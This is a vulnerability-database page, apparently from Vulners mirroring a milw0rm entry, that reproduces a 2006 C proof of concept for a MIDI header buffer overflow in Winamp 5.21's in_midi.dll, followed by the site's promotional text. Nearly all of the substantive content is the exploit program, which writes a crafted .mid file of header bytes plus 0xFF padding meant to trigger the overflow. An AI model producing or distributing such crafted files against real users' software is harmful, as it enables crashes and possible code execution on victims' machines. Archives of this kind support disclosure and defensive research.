Lucene search
K

Winamp <= 5.21 (Midi File Header Handling) Buffer Overflow PoC

🗓️ 01 Jul 2014 00:00:00Reported by KnownsecType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Winamp 5.21 Midi Buffer Overflow PoC Date 19 Jun 200

Code

                                                /*
 
 * ********************************************** *
 * Winamp 5.21 - Midi Buffer Overflow in_midi.dll *
 * ********************************************** *
 * PoC coded by: BassReFLeX                       *
 * Date: 19 Jun 2006                              *
 * ********************************************** *
 
*/

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;

void usage(char* file);

char header[] = &#34;\x4D\x54\x68\x64\x00\x00&#34;
                &#34;\x00\x06\x00\x00\x00\x01&#34;
                &#34;\x00\x60\x4D\x54\x72\x6B&#34;
                &#34;\x00\x00&#34;;

char badc0de[] = &#34;\xFF\xFF\xFF\xFF\xFF\xFF&#34;
		 &#34;\xFF\xFF\xFF\xFF\xFF\xFF&#34;;
				
				 
				 
int main(int argc,char* argv[])
{
    system(&#34;cls&#34;);
    printf(&#34;\n* ********************************************** *&#34;);
    printf(&#34;\n* Winamp 5.21 - Midi Buffer Overflow in_midi.dll *&#34;);
    printf(&#34;\n* ********************************************** *&#34;);
    printf(&#34;\n* PoC coded by: BassReFLeX                       *&#34;);
    printf(&#34;\n* Date: 19 Jun 2006                              *&#34;);
    printf(&#34;\n* ********************************************** *&#34;);
    
    if ( argc!=2 )
    {
        usage(argv[0]);
    }
    
    FILE *f;
    f = fopen(argv[1],&#34;w&#34;);
    if ( !f )
    {
        printf(&#34;\nFile couldn&#39;t open!&#34;);
        exit(1);
    }
    
                        
    printf(&#34;\n\nWriting crafted .mid file...&#34;);
    fwrite(header,1,sizeof(header),f);
    fwrite(badc0de,1,sizeof(badc0de),f);
    printf(&#34;\nFile created successfully!&#34;);
    printf(&#34;\nFile: %s&#34;,argv[1]);
    return 0;
}        

void usage(char* file)
{
    printf(&#34;\n\n&#34;);
    printf(&#34;\n%s &#60;Filename&#62;&#34;,file);
    printf(&#34;\n\nFilename = .mid crafted file. Example: winsploit.exe craftedsh1t.mid&#34;);
    exit(1);
}    

// milw0rm.com [2006-06-20]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
12